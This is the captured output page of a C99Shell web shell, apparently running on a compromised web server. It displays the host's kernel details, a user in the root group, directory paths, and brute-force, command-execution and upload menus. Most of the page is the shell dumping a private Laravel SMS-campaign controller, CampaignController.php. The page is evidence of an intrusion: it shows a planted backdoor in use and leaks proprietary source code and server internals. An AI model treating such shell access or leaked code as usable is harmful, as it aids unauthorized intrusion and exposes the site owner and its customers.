!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignController.php (14.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;

use 
App\Http\Controllers\Controller;
use 
App\Jobs\CampaignCreateJob;
use 
App\Models\AuthorizationToken;
use 
App\Models\Campaign;
use 
App\Models\Customer;
use 
App\Models\Exception;
use 
App\Models\FromGroup;
use 
App\Models\Message;
use 
App\Models\Number;
use 
App\Models\CustomerNumber;
use 
App\Models\SenderId;
use 
App\Models\Coverage;
use 
App\Models\WhatsAppNumber;
use 
App\Models\ShortLink;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\Validator;

class 
CampaignController extends Controller
{
    public function 
index(Request $request)
    {
        
$customer Customer::where('id'auth()->user()->id)->first();

        
$campaigns Campaign::select(['id''title''start_date''end_date''start_time''end_time''status''import_fail_message'])
            ->
where('customer_id'$customer->id)->get();

        return 
response()->json(['status' => 'success''data' => $campaigns]);
    }

    public function 
store(Request $request)
    {
        try {
            if(!
$request->start_date){
                
$start_date=now()->format('Y-m-d');
                
$request['start_date']=$start_date;
            }

            if(!
$request->end_date){
                
$end_date=now()->format('Y-m-d');
                
$request['end_date']=$end_date;
            }

            if(!
$request->start_time){
                
$start_time=now()->format('H:i');
                
$request['start_time']=$start_time;
            }

            if(!
$request->end_time){
                
$end_time=(now()->addSeconds(10))->format('H:i');
                
$request['end_time']=$end_time;
            }


            
$validator Validator::make($request->all(), [
                
'title' => 'required',
                
'to_number' => 'required',
                
'start_date' => 'required',
                
'template_body' => 'required',
                
'end_date' => 'required',
                
'start_time' => 'required',
                
'end_time' => 'required',
            ]);
            if (
$validator->fails()) {
                return 
response()->json(['message' => $validator->errors()->messages()], 404);
            }
            
$authorizationToken AuthorizationToken::where('access_token'$request->api_key)->first();

            if (!
$authorizationToken) {
                return 
response()->json(['response' => '1003'], 404);
            }
            
$customer Customer::where('id'$authorizationToken->customer_id)->firstOrFail();



            
$totalTo array_map('trim'array_unique(preg_split('/,/'$request->to_number, -1PREG_SPLIT_NO_EMPTY)));
            
$onException Exception::where('customer_id'$customer->id)->whereIn('number'$totalTo)->pluck('number')->toArray();
            
$to array_diff($totalTo$onException);
            
$current_plan $customer->plan;
            if (!
$current_plan)
                return 
response()->json(['response' => '1017']);

            
$coverages=Coverage::whereIn('id'json_decode($current_plan->coverage_ids))->get();
            
$coverage_rate = [];
            
$request['from_selected_type']='sms';
            if (
$coverages) {
                foreach (
$coverages as $coverage) {
                    if (
$request->from_selected_type == 'sms') {
                        
$coverage_rate[$coverage->country_code] = $coverage->plain_sms;
                    } else if (
$request->from_selected_type == 'mms') {
                        
$coverage_rate[$coverage->country_code] = $coverage->send_mms;
                    } else if (
$request->from_selected_type == 'whatsapp') {
                        
$coverage_rate[$coverage->country_code] = $coverage->send_voice_sms;
                    } else if (
$request->from_selected_type == 'voicecall') {
                        
$coverage_rate[$coverage->country_code] = $coverage->send_whatsapp_sms;
                    }
                }
            }

                
//Insert All Contacts
                
$insertContact = [];
                
$recipient_numbers array_unique($to);
                foreach (
$recipient_numbers as $recipient_number) {
                    
$number_code getCountryDialCode($recipient_number);
                    
$number_without_code getPhoneNumberWithoutDialCode($recipient_number);
                    if (isset(
$coverage_rate[str_replace('+'''$number_code)])) {
                        
$totalTo[] = $number_without_code;
                        
// $totalSmsAmount = $totalSmsAmount + $coverage_rate[str_replace('+', '', $number_code)];

                        
$insertContact[] = [
                            
'customer_id' => $customer->id,
                            
'contact_dial_code' => $number_code,
                            
'number' => $number_without_code
                        
];
                    }
                }

                if(!
$insertContact || count($insertContact) <=0){
                    return 
response()->json(['message'=>'Enter Valid To Numbers According Your Coverage']);
                }

                if (
$insertContact) {
                    
$customer->contacts()->createMany($insertContact);
                }


            
//subtracting one sms TODO:: will need to count text and sub that
            
$wallet $customer->wallet()->first();



            
$totalText '';
            
// Count Template Body Characters
            
$totalCount 1;
            
$requestCharacters $request->template_body;
            
$characters mb_strlen($requestCharacters"UTF-8");
            if (
strlen($requestCharacters) != strlen(utf8_decode($requestCharacters))) {
                if (
$characters && $characters 70) {
                    
$grandTotal ceil($characters 70);
                    if (
$grandTotal 1)
                        
$totalCount $grandTotal;
                }
            } else {
                if (
$characters && $characters 160) {
                    
$grandTotal ceil($characters 160);
                    if (
$grandTotal 1)
                        
$totalCount $grandTotal;
                }
            }
            
$totalToNumbers count($to) * $totalCount;



            
$allGroupIds = [];
            
$allFromNumber = [];
            
$number_form '';
            if (
$request->from_type == 'phone_number') {
                
$customerNumber CustomerNumber::where('customer_id'$customer->id)->where('number'$request->from_number)->orWhere('number'"+" str_replace('+'''$request->from_number))->first();
                if (!
$customerNumber) {
                    return 
response()->json(['response' => '1005']);
                }
                
$number_form $request->from_number;
                
$allFromNumber[] = $request->from_number;
            } else if (
$request->from_type == 'sender_id') {
                
$sender_id SenderId::where('sender_id'$request->sender_id)->where('status''approved')->first();
                if (!
$sender_id) {
                    return 
response()->json(['response' => '1002']);
                }
                
$number_form $sender_id->sender_id;
                
$allFromNumber[] = $sender_id->sender_id;
            } else {
                
$whatsAppNumber $customer->whatsapp_numbers()->where('expire_date''>'now())->where('number'$request->whatsapp_from_number)->first();
                if (!
$whatsAppNumber) {
                    return 
response()->json(['response' => '1010']);
                }
                
$number_form $whatsAppNumber->number;
                
$allFromNumber[] = $whatsAppNumber->number;
            }



            if (
$request->from_type == 'phone_number') {
                
$number Number::where('number'$number_form)->orWhere('number'"+" str_replace('+'''$number_form))->first();
            } else if (
$request->from_type == 'sender_id') {
                
$number SenderId::where('sender_id'$number_form)->first();
            } else if (
$request->from_type == 'whatsapp_number') {
                
$number WhatsAppNumber::where('number'$number_form)->orWhere('number'"+" str_replace('+'''$number_form))->first();
            }


            if (!
$number)
                return 
response()->json(['response' => '1013'], 1018);

            
$dynamic_gateway_id $number->dynamic_gateway_id;
            if (!
$dynamic_gateway_id) {
                return 
response()->json(['response' => '1014']);
            }

            if (
$request->from_type == 'whatsapp_number' && $request->whatsapp_from_number) {
                
$from_type 'whatsapp';
            } else {
                
$from_type 'phone_number';
            }


            
$allFromNumber array_values(array_unique($allFromNumber));


            
//TODO::Replace Message Link
            
$pattern '#\bhttps?://[^,\s()<>]+(?:\([\w\d]+\)|([^,[:punct:]\s]|/))#';
            
$string preg_replace('/\s+/'' 'trim($request->template_body));
            
preg_match_all($pattern$string$matches);

            if (isset(
$matches[0]) && count($matches[0]) > 0) {
                foreach (
$matches[0] as $index => $originalLink) {
                    
$code $this->generateShortCode($originalLink);
                    
$shortLink = new ShortLink();
                    
$shortLink->customer_id auth('customer')->user()->id;
                    
$shortLink->url $originalLink;
                    
$shortLink->short_code $code;
                    
$shortLink->campaign_id $campaign->id;
                    
$shortLink->save();
                    
$request['template_body'] = str_replace($originalLinkroute('shorten.url', [$code'c' => 'contact__id']), $request->template_body);
                }
            }

            if (
$current_plan) {
                if (
$wallet->credit $totalToNumbers) {
                    return 
response()->json(['message'=>'Doesn\'t have enough sms']);
                }
            }


            
//Minus Credit For Campaign Message
            
$wallet->credit $wallet->credit $totalToNumbers;
            
$wallet->save();


            
$campaign = new Campaign();
            
$campaign->title $request->title;
            
$campaign->customer_id $customer->id;
            
$campaign->from_number json_encode($allFromNumber);
            
$campaign->to_number json_encode($to);
            
$campaign->start_date $request->start_date;
            
$campaign->end_date $request->end_date;
            
$campaign->start_time $request->start_time;
            
$campaign->end_time $request->end_time;
            
$campaign->template_id $request->template_id;
            
$campaign->message_body json_encode($request->template_body);
            
$campaign->message_send_rate 999999;
            
$campaign->from_group_id json_encode($allGroupIds);
            
$campaign->status 'importing';
            
$campaign->save();
            
$from $allFromNumber;



            
$totalToNumbersCount 0;
            
$totalFromNumbersCount count($allFromNumber);
            
$generatedToNumbers = [];
            
$lastKey end($from);
            for (
$i 0$i count($to); $i += count($from)) {
                for (
$j 0$j count($from); $j++) {
                    if (isset(
$to[$i $j])) {
                        
$generatedToNumbers[$from[$j]][] = trim($to[$i $j]);
                        
$totalToNumbersCount++;
                    }
                }
            }

            foreach (
$generatedToNumbers as $key => $toNumbers) {
                
/*Start*/
                
$startDate = (new Carbon($request->start_date))->subDay();
                
$endDate = new Carbon($request->end_date);
                
$startTime = new Carbon($request->start_time);
                
$endTime = new Carbon($request->end_time);
                
$difference_time $startTime->diffInSeconds($endTime);
                
$difference_date $startDate->diffInDays($endDate);
                
$total_minute $difference_time $difference_date;
                
$send_speed floor($total_minute $totalToNumbersCount);
                
/*End*/

                //create new message
                
$newMessage = new Message();
                
$newMessage->customer_id $customer->id;
                
$newMessage->body json_encode($request->template_body);
                
$newMessage->numbers json_encode(['from' => $key'to' => $toNumbers]);
                
$newMessage->campaign_id $campaign->id;
                
$newMessage->type 'sent';
                
$newMessage->read 'no';
                
$newMessage->save();


                
CampaignCreateJob::dispatch($key$toNumbers$campaign$newMessage$totalToNumbersCount$totalFromNumbersCount$difference_date$startDate$startTime$send_speed$customer$lastKey$dynamic_gateway_id);

                
// CampaignCreateJob::dispatch($key, $toNumbers, $campaign, $newMessage, $totalToNumbersCount, $totalFromNumbersCount, $difference_date, $startDate, $startTime, $send_speed, $customer, $lastKey, $from_type);
            
}


            return 
response()->json(['response' => '1022'], 200);
        } catch (
\Exception $ex) {
            return 
response()->json(['message' => $ex->getMessage()], 401);
        }
    }

    public function 
statistic($id)
    {
        
$customer auth()->user();
        
$campaign $customer->campaings()->where('id'$id)->firstOrFail();
        
$runningMessageLogs $customer->sms_queues()->select('body''from''to''delivered_at''schedule_completed''status')->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''no')->where('status''running')->get();
        
$pausedMessageLogs $customer->sms_queues()->select('body''from''to''delivered_at''schedule_completed''status')->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''paused')->get();
        
$failedMessageLogs $customer->sms_queues()->select('body''from''to''delivered_at''schedule_completed''status')->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''yes')->where('status''failed')->get();
        
$deliveredMessageLogs $customer->sms_queues()->select('body''from''to''delivered_at''schedule_completed''status')->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''!=''failed')->where('schedule_completed''yes')->whereColumn('created_at''<''updated_at')->whereNull('response_code')->get();

        
$data = [
            
'running_message_logs' => $runningMessageLogs,
            
'paused_message_logs' => $pausedMessageLogs,
            
'failed_message_logs' => $failedMessageLogs,
            
'delivered_message_logs' => $deliveredMessageLogs,
        ];

        return 
response()->json(['status' => 'success''data' => $data]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--